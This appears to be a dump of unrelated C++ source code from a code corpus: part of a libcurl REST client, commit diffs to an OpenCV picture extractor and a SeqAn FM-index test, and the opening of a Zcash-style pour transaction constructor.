curl_easy_cleanup(curl);
curl_global_cleanup();
}
return ret;
}
/**
* @brief HTTP PUT method
*
* @param url to query
* @param ctype content type as string
* @param data HTTP PUT body
*
* @return response struct
*/
RestClient::response RestClient::put(const std::string& url,
const std::string& ctype,
const std::string& data)
{
/** create return struct */
RestClient::response ret = {};
/** build content-type header string */
std::string ctype_header = "Content-Type: " + ctype;
/** initialize upload object */
RestClient::upload_object up_obj;
up_obj.data = data.c_str();
up_obj.length = data.size();
// use libcurl
CURL *curl = NULL;
CURLcode res = CURLE_OK;
curl = curl_easy_init();
if (curl)
{
/** set basic authentication if present*/
if(RestClient::user_pass.length()>0){
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_easy_setopt(curl, CURLOPT_USERPWD, RestClient::user_pass.c_str());
}
/** set user agent */
curl_easy_setopt(curl, CURLOPT_USERAGENT, RestClient::user_agent);
/** set query URL */
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
/** Now specify we want to PUT data */
curl_easy_setopt(curl, CURLOPT_PUT, 1L);
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
/** set read callback function */
curl_easy_setopt(curl, CURLOPT_READFUNCTION, RestClient::read_callback);
/** set data object to pass to callback function */
curl_easy_setopt(curl, CURLOPT_READDATA, &up_obj);
/** set callback function */
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, RestClient::write_callback);
/** set data object to pass to callback function */
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &ret);
/** set the header callback function */
curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, RestClient::header_callback);
/** callback object for headers */
curl_easy_setopt(curl, CURLOPT_HEADERDATA, &ret);
/** set data size */
curl_easy_setopt(curl, CURLOPT_INFILESIZE,
static_cast<long>(up_obj.length));
/** set content-type header */
curl_slist* header = NULL;
header = curl_slist_append(header, ctype_header.c_str());
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, header);
/** perform the actual query */
res = curl_easy_perform(curl);
if (res != CURLE_OK)
{
ret.body = "Failed to query.";
ret.code = -1;
return ret;
}
long http_code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
ret.code = static_cast<int>(http_code);
curl_slist_free_all(header);
curl_easy_cleanup(curl);
curl_global_cleanup();
}
return ret;
}
/**
* @brief HTTP DELETE method
*
* @param url to query
*
* @return response struct
*/
RestClient::response RestClient::del(const std::string& url)
{
/** create return struct */
RestClient::response ret = {};
/** we want HTTP DELETE */
const char* http_delete = "DELETE";
// use libcurl
CURL *curl = NULL;
CURLcode res = CURLE_OK;
curl = curl_easy_init();
if (curl)
{
/** set basic authentication if present*/
if(RestClient::user_pass.length()>0){
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_easy_setopt(curl, CURLOPT_USERPWD, RestClient::user_pass.c_str());
}
/** set user agent */
curl_easy_setopt(curl, CURLOPT_USERAGENT, RestClient::user_agent);
/** set query URL */
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
/** set HTTP DELETE METHOD */
curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, http_delete);
/** set callback function */
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, RestClient::write_callback);
/** set data object to pass to callback function */
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &ret);
/** set the header callback function */
curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, RestClient::header_callback);
/** callback object for headers */
curl_easy_setopt(curl, CURLOPT_HEADERDATA, &ret);
/** perform the actual query */
res = curl_easy_perform(curl);
if (res != CURLE_OK)
{
ret.body = "Failed to query.";
ret.code = -1;
return ret;
}
long http_code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
ret.code = static_cast<int>(http_code);
curl_easy_cleanup(curl);
curl_global_cleanup();
}
return ret;
}
/**
* @brief write callback function for libcurl
*
* @param data returned data of size (size*nmemb)
* @param size size parameter
* @param nmemb memblock parameter
* @param userdata pointer to user data to save/work with return data
*
* @return (size * nmemb)
*/
size_t RestClient::write_callback(void *data, size_t size, size_t nmemb,
void *userdata)
{
RestClient::response* r;
r = reinterpret_cast<RestClient::response*>(userdata);
r->body.append(reinterpret_cast<char*>(data), size*nmemb);
return (size * nmemb);
}
/**
* @brief header callback for libcurl
*
* @param data returned (header line)
* @param size of data
* @param nmemb memblock
* @param userdata pointer to user data object to save headr data
* @return size * nmemb;
*/
size_t RestClient::header_callback(void *data, size_t size, size_t nmemb,
void *userdata)
{
RestClient::response* r;
r = reinterpret_cast<RestClient::response*>(userdata);
std::string header(reinterpret_cast<char*>(data), size*nmemb);
size_t seperator = header.find_first_of(":");
if ( std::string::npos == seperator ) {
//roll with non seperated headers...
trim(header);
if ( 0 == header.length() ){
return (size * nmemb); //blank line;
}
r->headers[header] = "present";
} else {
std::string key = header.substr(0, seperator);
trim(key);
std::string value = header.substr(seperator + 1);
trim (value);
r->headers[key] = value;
}
return (size * nmemb);
}
/**
* @brief read callback function for libcurl
*
* @param pointer of max size (size*nmemb) to write data to
* @param size size parameter
* @param nmemb memblock parameter
* @param userdata pointer to user data to read data from
*
* @return (size * nmemb)
*/
size_t RestClient::read_callback(void *data, size_t size, size_t nmemb,
void *userdata)
{
/** get upload struct */
RestClient::upload_object* u;
u = reinterpret_cast<RestClient::upload_object*>(userdata);
/** set correct sizes */
size_t curl_size = size * nmemb;
size_t copy_size = (u->length < curl_size) ? u->length : curl_size;
/** copy data to buffer */
memcpy(data, u->data, copy_size);
/** decrement length and increment data pointer */
u->length -= copy_size;
u->data += copy_size;
/** return copied size */
return copy_size;
}
<|endoftext|>
|
<commit_before>// std and boost utils
#include <boost/format.hpp>
template<typename... Args>
constexpr auto fmt(Args &&... args) {
return (boost::format(std::forward<Args>(args)...));
}
#include <iostream>
// bloblib and opencv
#include "opencv2/core.hpp"
#include "opencv2/imgproc.hpp"
#include "opencv2/imgcodecs.hpp"
#include "opencv2/highgui.hpp"
#include "BlobResult.h"
using namespace cv;
using namespace std;
struct t_pos_contour {
Point max;
Point min;
vector<Point> contour;
};
static Mat _ImageP;
static void removeSmallElem(int size) {
CBlobResult blobs;
blobs = CBlobResult(_ImageP, Mat(), 4);
blobs.Filter(blobs, B_INCLUDE, CBlobGetLength(), B_GREATER, size);
Mat newimg(_ImageP.size(), _ImageP.type());
newimg.setTo(0);
for (int i = 0; i < blobs.GetNumBlobs(); i++) {
blobs.GetBlob(i)->FillBlob(newimg, CV_RGB(255, 255, 255), 0, 0, true);
}
_ImageP = newimg;
}
static void findPics(std::vector<t_pos_contour> &contoursPos) {
vector<vector<Point> > contours;
vector<vector<Point> > contours0;
findContours(_ImageP, contours0, vector<Vec4i>{}, RETR_EXTERNAL, CHAIN_APPROX_SIMPLE);
contours.resize(contours0.size());
for (size_t k = 0; k < contours0.size(); k++)
approxPolyDP(Mat(contours0[k]), contours[k], 3, true);
bool remove = false;
t_pos_contour valueContour;
double seuilX = _ImageP.size().width * 0.07;
double seuilY = _ImageP.size().height * 0.07;
for (std::vector<vector<Point>>::iterator itV = contours.begin(); itV != contours.end();) {
valueContour.max = {0, 0};
valueContour.min = { _ImageP.size().width, _ImageP.size().height };
valueContour.contour = *itV;
for (std::vector<Point>::iterator itP = itV->begin(); itP != itV->end(); itP++) {
if (itP->x < 10 || itP->x > _ImageP.size().width - 10 || itP->y < 10 || itP->y > _ImageP.size().height - 10) {
itV = contours.erase(itV);
remove = true;
break;
}
if (valueContour.max.x < itP->x)
valueContour.max.x = itP->x;
if (valueContour.max.y < itP->y)
valueContour.max.y = itP->y;
if (valueContour.min.x > itP->x)
valueContour.min.x = itP->x;
if (valueContour.min.y > itP->y)
valueContour.min.y = itP->y;
}
if (!remove) {
++itV;
} else {
remove = false;
continue;
}
if (valueContour.max.x - valueContour.min.x > seuilX && valueContour.max.y - valueContour.min.y > seuilY)
contoursPos.push_back(valueContour);
}
}
static void createJpeg(std::string const &path, std::string const &destination, std::vector<t_pos_contour> const &contoursPos) {
int imgNum = 1;
int margin = 10;
Mat image = imread(path, CV_LOAD_IMAGE_UNCHANGED);
for (auto &&i: contoursPos) {
cv::Rect myROI(i.min.x - margin, i.min.y - margin, (i.max.x + 2 * margin) - i.min.x, (i.max.y + 2 * margin) - i.min.y);
cv::Mat croppedImage = image(myROI);
std::string filename = (fmt(destination) % imgNum++).str();
try {
std::cout << "Writing " << filename << std::endl;
imwrite(filename, croppedImage, vector<int>({CV_IMWRITE_JPEG_QUALITY, 95}));
}
catch (runtime_error &ex) {
fprintf(stderr, "Exception converting image to JPG format: %s\n", ex.what());
}
}
}
void extractPics(std::string const &path, std::string const &destPath) {
_ImageP = imread(path, 1);
std::vector<t_pos_contour> contoursPos;
cvtColor(_ImageP, _ImageP, CV_RGB2GRAY);
threshold(_ImageP, _ImageP, 75.0, 255.0, THRESH_BINARY_INV);
removeSmallElem(800);
findPics(contoursPos);
createJpeg(path, destPath, contoursPos);
}
<commit_msg>reviewing => namespaces and other<commit_after>// std and boost utils
#include <boost/format.hpp>
template<typename... Args>
constexpr auto fmt(Args &&... args) {
return (boost::format(std::forward<Args>(args)...));
}
#include <iostream>
// bloblib and opencv
#include "opencv2/core.hpp"
#include "opencv2/imgproc.hpp"
#include "opencv2/imgcodecs.hpp"
#include "opencv2/highgui.hpp"
#include "BlobResult.h"
struct t_pos_contour {
cv::Point max;
cv::Point min;
std::vector<cv::Point> contour;
};
static cv::Mat _ImageP;
static void removeSmallElem(int size) {
CBlobResult blobs;
blobs = CBlobResult(_ImageP, cv::Mat(), 4);
blobs.Filter(blobs, B_INCLUDE, CBlobGetLength(), B_GREATER, size);
cv::Mat newimg(_ImageP.size(), _ImageP.type());
newimg.setTo(0);
for (int i = 0; i < blobs.GetNumBlobs(); i++) {
blobs.GetBlob(i)->FillBlob(newimg, CV_RGB(255, 255, 255), 0, 0, true);
}
_ImageP = newimg;
}
static void findPics(std::vector<t_pos_contour> &contoursPos) {
std::vector<std::vector<cv::Point> > contours;
std::vector<std::vector<cv::Point> > contours0;
std::vector<cv::Vec4i> h;
findContours(_ImageP, contours0, h, cv::RETR_EXTERNAL, cv::CHAIN_APPROX_SIMPLE);
contours.resize(contours0.size());
for (size_t k = 0; k < contours0.size(); k++)
approxPolyDP(cv::Mat(contours0[k]), contours[k], 3, true);
bool remove = false;
t_pos_contour valueContour;
double seuilX = _ImageP.size().width * 0.07;
double seuilY = _ImageP.size().height * 0.07;
for (std::vector<std::vector<cv::Point>>::iterator itV = contours.begin(); itV != contours.end();) {
valueContour.max = {0, 0};
valueContour.min = { _ImageP.size().width, _ImageP.size().height };
valueContour.contour = *itV;
for (std::vector<cv::Point>::iterator itP = itV->begin(); itP != itV->end(); itP++) {
if (itP->x < 10 || itP->x > _ImageP.size().width - 10 || itP->y < 10 || itP->y > _ImageP.size().height - 10) {
itV = contours.erase(itV);
remove = true;
break;
}
if (valueContour.max.x < itP->x)
valueContour.max.x = itP->x;
if (valueContour.max.y < itP->y)
valueContour.max.y = itP->y;
if (valueContour.min.x > itP->x)
valueContour.min.x = itP->x;
if (valueContour.min.y > itP->y)
valueContour.min.y = itP->y;
}
if (!remove) {
++itV;
} else {
remove = false;
continue;
}
if (valueContour.max.x - valueContour.min.x > seuilX && valueContour.max.y - valueContour.min.y > seuilY)
contoursPos.push_back(valueContour);
}
}
static void createJpeg(std::string const &path, std::string const &destination, std::vector<t_pos_contour> const &contoursPos) {
int imgNum = 1;
int margin = 10;
cv::Mat image = cv::imread(path, CV_LOAD_IMAGE_UNCHANGED);
for (auto &&i: contoursPos) {
cv::Rect myROI(i.min.x - margin, i.min.y - margin, (i.max.x + 2 * margin) - i.min.x, (i.max.y + 2 * margin) - i.min.y);
cv::Mat croppedImage = image(myROI);
std::string filename = (fmt(destination) % imgNum++).str();
try {
std::cout << "Writing " << filename << std::endl;
imwrite(filename, croppedImage, std::vector<int>({CV_IMWRITE_JPEG_QUALITY, 95}));
}
catch (std::runtime_error &ex) {
fprintf(stderr, "Exception converting image to JPG format: %s\n", ex.what());
}
}
}
void extractPics(std::string const &path, std::string const &destPath) {
_ImageP = cv::imread(path, 1);
std::vector<t_pos_contour> contoursPos;
cvtColor(_ImageP, _ImageP, CV_RGB2GRAY);
threshold(_ImageP, _ImageP, 75.0, 255.0, cv::THRESH_BINARY_INV);
removeSmallElem(800);
findPics(contoursPos);
createJpeg(path, destPath, contoursPos);
}
<|endoftext|>
|
<commit_before>// ==========================================================================
// SeqAn - The Library for Sequence Analysis
// ==========================================================================
// Copyright (c) 2006-2015, Knut Reinert, FU Berlin
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
// * Neither the name of Knut Reinert or the FU Berlin nor the names of
// its contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL KNUT REINERT OR THE FU BERLIN BE LIABLE
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
// DAMAGE.
//
// ==========================================================================
// Author: Christopher Pockrandt <christopher.pockrandt@fu-berlin.de>
// ==========================================================================
#include <seqan/basic.h>
#include <seqan/reduced_aminoacid.h>
#include <seqan/index.h>
#include <ctime>
#include "test_index_helpers.h"
using namespace seqan;
template <typename TSpec = void, typename TLengthSum = size_t>
struct FMIndexConfigLevelsPrefix
{
typedef TLengthSum LengthSum;
typedef Levels<TSpec, LevelsPrefixRDConfig<TLengthSum, Alloc<>, 1, 0> > Bwt;
typedef Levels<TSpec, LevelsRDConfig<TLengthSum, Alloc<>, 1, 0> > Sentinels;
static const unsigned SAMPLING = 10;
};
template <typename TSpec = void, typename TLengthSum = size_t>
struct FMIndexWTConfig
{
typedef TLengthSum LengthSum;
typedef WaveletTree<TSpec, WTRDConfig<TLengthSum, Alloc<>, 1, 0> > Bwt;
typedef Levels<TSpec, LevelsRDConfig<TLengthSum, Alloc<>, 1, 0> > Sentinels;
static const unsigned SAMPLING = 10;
};
typedef String<SimpleType<unsigned char, ReducedAminoAcid_<Murphy10> > > Murphy10String;
typedef
TagList<Index<String<bool>, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<DnaString, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<RnaString, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<Dna5String, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<Rna5String, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<Murphy10String, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<Peptide, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<CharString, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<String<bool>, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<DnaString, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<RnaString, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<Dna5String, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<Rna5String, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<Murphy10String, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<Peptide, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<CharString, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >
> > > > > > > > > > > > > > > >
FMIndices;
// ==========================================================================
// Test Classes
// ==========================================================================
// --------------------------------------------------------------------------
// Class RankDictionaryTest
// --------------------------------------------------------------------------
template <typename TIndex_>
class BidirectionalFMIndexTest : public Test
{
public:
typedef TIndex_ TIndex;
};
SEQAN_TYPED_TEST_CASE(BidirectionalFMIndexTest, FMIndices);
// testing the bidirectional FM index by comparing ranges and hits against two stand-alone
// FM indices of the original and the reversed text
template <typename TBiFMIndex, typename TText, typename TPattern>
inline bool
testBidirectionalIndex(TBiFMIndex & bifmIndex, TText & text, TText & revText, TPattern & pattern)
{
typedef Index<TText, FMIndex<> > TFMIndex;
typedef typename Iterator<TFMIndex, TopDown<> >::Type TFMIter;
typedef typename Iterator<TBiFMIndex, TopDown<> >::Type TBiFMIter;
ModifiedString<TPattern, ModReverse> revPattern(pattern);
TFMIndex indexFwd(text);
TFMIndex indexRev(revText);
TFMIter itFwd(indexFwd);
TFMIter itRev(indexRev);
TBiFMIter bifm1(bifmIndex);
TBiFMIter bifm2(bifmIndex);
bool res1 = goDown(itFwd, revPattern);
bool res2 = goDown(itRev, pattern);
bool res3 = goDown(bifm1, pattern, Rev());
bool res4 = goDown(bifm2, revPattern, Fwd());
SEQAN_ASSERT_EQ(res1, res2);
SEQAN_ASSERT_EQ(res1, res3);
SEQAN_ASSERT_EQ(res1, res4);
if (res1) // if pattern was found in string
{
SEQAN_ASSERT(getOccurrences(itFwd) == getOccurrences(bifm1, Fwd()));
SEQAN_ASSERT(getOccurrences(itFwd) == getOccurrences(bifm2, Fwd()));
SEQAN_ASSERT(getOccurrences(itRev) == getOccurrences(bifm1, Rev()));
SEQAN_ASSERT(getOccurrences(itRev) == getOccurrences(bifm2, Rev()));
}
return 0;
}
SEQAN_TYPED_TEST(BidirectionalFMIndexTest, SearchInString)
{
typedef typename TestFixture::TIndex TIndex;
typedef typename Host<TIndex>::Type TText;
std::mt19937 rng(time(nullptr));
TText text;
generateText(rng, text, 3947);
TText revText(text);
reverse(revText);
TIndex index(text);
for (unsigned int patternLength = 1; patternLength <= 20; ++patternLength)
{
TText pattern;
generateText(rng, pattern, patternLength);
testBidirectionalIndex(index, text, revText, pattern);
}
}
SEQAN_TYPED_TEST(BidirectionalFMIndexTest, SearchInStringSet)
{
typedef typename TestFixture::TIndex TIndex;
typedef typename Host<TIndex>::Type TText;
typedef typename Spec<TIndex>::Type TIndexSpec;
typedef StringSet<TText, Owner<ConcatDirect<void> > > TStringSet;
typedef Index<TStringSet, TIndexSpec> TStringSetIndex;
std::mt19937 rng(time(nullptr));
TStringSet stringSet;
for (unsigned stringSetSize = 1; stringSetSize <= 3; ++stringSetSize)
{
TText text;
generateText(rng, text, 3947);
appendValue(stringSet, text);
TStringSet revStringSet;
for (unsigned i = 0; i < stringSetSize; ++i)
{
TText revText(stringSet[stringSetSize - i - 1]);
reverse(revText);
appendValue(revStringSet, revText);
}
TStringSetIndex index(stringSet);
for (unsigned int patternLength = 1; patternLength <= 10; ++patternLength)
{
TText pattern;
generateText(rng, pattern, patternLength);
testBidirectionalIndex(index, stringSet, revStringSet, pattern);
}
}
}
// ==========================================================================
// Functions
// ==========================================================================
int main(int argc, char const ** argv)
{
TestSystem::init(argc, argv);
return TestSystem::runAll();
}
<commit_msg>[TEST] Improved bidirectional FM index test: going left/right in a randomized fashion<commit_after>// ==========================================================================
// SeqAn - The Library for Sequence Analysis
// ==========================================================================
// Copyright (c) 2006-2015, Knut Reinert, FU Berlin
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
// * Neither the name of Knut Reinert or the FU Berlin nor the names of
// its contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL KNUT REINERT OR THE FU BERLIN BE LIABLE
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
// DAMAGE.
//
// ==========================================================================
// Author: Christopher Pockrandt <christopher.pockrandt@fu-berlin.de>
// ==========================================================================
#include <seqan/basic.h>
#include <seqan/reduced_aminoacid.h>
#include <seqan/index.h>
#include <ctime>
#include "test_index_helpers.h"
using namespace seqan;
template <typename TSpec = void, typename TLengthSum = size_t>
struct FMIndexConfigLevelsPrefix
{
typedef TLengthSum LengthSum;
typedef Levels<TSpec, LevelsPrefixRDConfig<TLengthSum, Alloc<>, 1, 0> > Bwt;
typedef Levels<TSpec, LevelsRDConfig<TLengthSum, Alloc<>, 1, 0> > Sentinels;
static const unsigned SAMPLING = 10;
};
template <typename TSpec = void, typename TLengthSum = size_t>
struct FMIndexWTConfig
{
typedef TLengthSum LengthSum;
typedef WaveletTree<TSpec, WTRDConfig<TLengthSum, Alloc<>, 1, 0> > Bwt;
typedef Levels<TSpec, LevelsRDConfig<TLengthSum, Alloc<>, 1, 0> > Sentinels;
static const unsigned SAMPLING = 10;
};
typedef String<SimpleType<unsigned char, ReducedAminoAcid_<Murphy10> > > Murphy10String;
typedef
TagList<Index<String<bool>, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<DnaString, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<RnaString, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<Dna5String, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<Rna5String, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<Murphy10String, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<Peptide, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<CharString, BidirectionalIndex<FMIndex<void, FMIndexConfigLevelsPrefix<> > > >,
TagList<Index<String<bool>, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<DnaString, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<RnaString, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<Dna5String, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<Rna5String, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<Murphy10String, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<Peptide, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >,
TagList<Index<CharString, BidirectionalIndex<FMIndex<void, FMIndexWTConfig<> > > >
> > > > > > > > > > > > > > > >
FMIndices;
// ==========================================================================
// Test Classes
// ==========================================================================
// --------------------------------------------------------------------------
// Class RankDictionaryTest
// --------------------------------------------------------------------------
template <typename TIndex_>
class BidirectionalFMIndexTest : public Test
{
public:
typedef TIndex_ TIndex;
};
SEQAN_TYPED_TEST_CASE(BidirectionalFMIndexTest, FMIndices);
// testing the bidirectional FM index by comparing ranges and hits against two stand-alone
// FM indices of the original and the reversed text
template <typename TBiFMIndex, typename TText, typename TPattern>
inline bool
testBidirectionalIndex(TBiFMIndex & bifmIndex, TText & text, TText & revText, TPattern & pattern)
{
typedef Index<TText, FMIndex<> > TFMIndex;
typedef typename Iterator<TFMIndex, TopDown<> >::Type TFMIter;
typedef typename Iterator<TBiFMIndex, TopDown<> >::Type TBiFMIter;
ModifiedString<TPattern, ModReverse> revPattern(pattern);
TFMIndex indexFwd(text);
TFMIndex indexRev(revText);
TFMIter itFwd(indexFwd);
TFMIter itRev(indexRev);
TBiFMIter bifm(bifmIndex);
bool res1 = goDown(itFwd, revPattern);
bool res2 = goDown(itRev, pattern);
std::mt19937 rng(time(nullptr));
unsigned left = rng() % length(pattern);
unsigned right = left;
bool res3 = goDown(bifm, pattern[left]);
while (res3 && (0 < left || right < length(pattern) - 1))
{
if (rng() % 2 && 0 < left)
{
--left;
res3 = goDown(bifm, pattern[left], Fwd());
}
else if (right < length(pattern) - 1)
{
++right;
res3 = goDown(bifm, pattern[right], Rev());
}
}
SEQAN_ASSERT_EQ(res1, res2);
SEQAN_ASSERT_EQ(res1, res3);
if (res1) // if pattern was found in index
{
SEQAN_ASSERT(getOccurrences(itFwd) == getOccurrences(bifm, Fwd()));
SEQAN_ASSERT(getOccurrences(itRev) == getOccurrences(bifm, Rev()));
}
return 0;
}
SEQAN_TYPED_TEST(BidirectionalFMIndexTest, SearchInString)
{
typedef typename TestFixture::TIndex TIndex;
typedef typename Host<TIndex>::Type TText;
std::mt19937 rng(time(nullptr));
TText text;
generateText(rng, text, 3947);
TText revText(text);
reverse(revText);
TIndex index(text);
for (unsigned patternLength = 1; patternLength <= 20; ++patternLength)
{
TText pattern;
generateText(rng, pattern, patternLength);
testBidirectionalIndex(index, text, revText, pattern);
}
}
SEQAN_TYPED_TEST(BidirectionalFMIndexTest, SearchInStringSet)
{
typedef typename TestFixture::TIndex TIndex;
typedef typename Host<TIndex>::Type TText;
typedef typename Spec<TIndex>::Type TIndexSpec;
typedef StringSet<TText, Owner<ConcatDirect<void> > > TStringSet;
typedef Index<TStringSet, TIndexSpec> TStringSetIndex;
std::mt19937 rng(time(nullptr));
unsigned textLength = 3947;
TStringSet stringSet;
for (unsigned stringSetSize = 1; stringSetSize <= 3; ++stringSetSize)
{
TText text;
generateText(rng, text, textLength);
appendValue(stringSet, text);
TStringSet revStringSet;
for (unsigned i = 0; i < stringSetSize; ++i)
{
TText revText(stringSet[stringSetSize - i - 1]);
reverse(revText);
appendValue(revStringSet, revText);
}
TStringSetIndex index(stringSet);
for (unsigned patternLength = 1; patternLength <= 10; ++patternLength)
{
TText pattern;
if (rng() % 2) // guaranteed hit
pattern = infixWithLength(text, rng() % (textLength - patternLength), patternLength);
else // likely to have no hits (for longer pattern and short texts)
generateText(rng, pattern, patternLength);
testBidirectionalIndex(index, stringSet, revStringSet, pattern);
}
}
}
// ==========================================================================
// Functions
// ==========================================================================
int main(int argc, char const ** argv)
{
TestSystem::init(argc, argv);
return TestSystem::runAll();
}
<|endoftext|>
|
<commit_before>// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "primitives/transaction.h"
#include "hash.h"
#include "tinyformat.h"
#include "utilstrencodings.h"
#include "libzerocash/PourProver.h"
#include "libzerocash/PourTransaction.h"
template<std::size_t N>
boost::array<std::vector<unsigned char>, N> uint256_to_array(const boost::array<uint256, N>& in) {
boost::array<std::vector<unsigned char>, N> result;
for (size_t i = 0; i < N; i++) {
result[i] = std::vector<unsigned char>(in[i].begin(), in[i].end());
}
return result;
}
template<std::size_t N>
boost::array<uint256, N> unsigned_char_vector_array_to_uint256_array(const boost::array<std::vector<unsigned char>, N>& in) {
boost::array<uint256, N> result;
for (size_t i = 0; i < N; i++) {
result[i] = uint256(in[i]);
}
return result;
}
CPourTx::CPourTx(ZerocashParams& params,
const CScript& scriptPubKey,
const uint256& anchor,
const boost::array<PourInput, NUM_POUR_INPUTS>& inputs,
const boost::array<PourOutput, NUM_POUR_OUTPUTS>& outputs,
CAmount vpub_old,
CAmount vpub_new) : scriptSig(), scriptPubKey(scriptPubKey), vpub_old(vpub_old), vpub_new(vpub_new), anchor(anchor)
{
uint256 scriptPubKeyHash;
{
CHashWriter ss(SER_GETHASH, 0);
ss << scriptPubKey;
scriptPubKeyHash = ss.GetHash();
}
PourTransaction pourtx(params,
std::vector<unsigned char>(scriptPubKeyHash.begin(), scriptPubKeyHash.end()),
std::vector<unsigned char>(anchor.begin(), anchor.end()),
std::vector<PourInput>(inputs.begin(), inputs.end()),
std::vector<PourOutput>(outputs.begin(), outputs.end()),
vpub_old,
vpub_new);
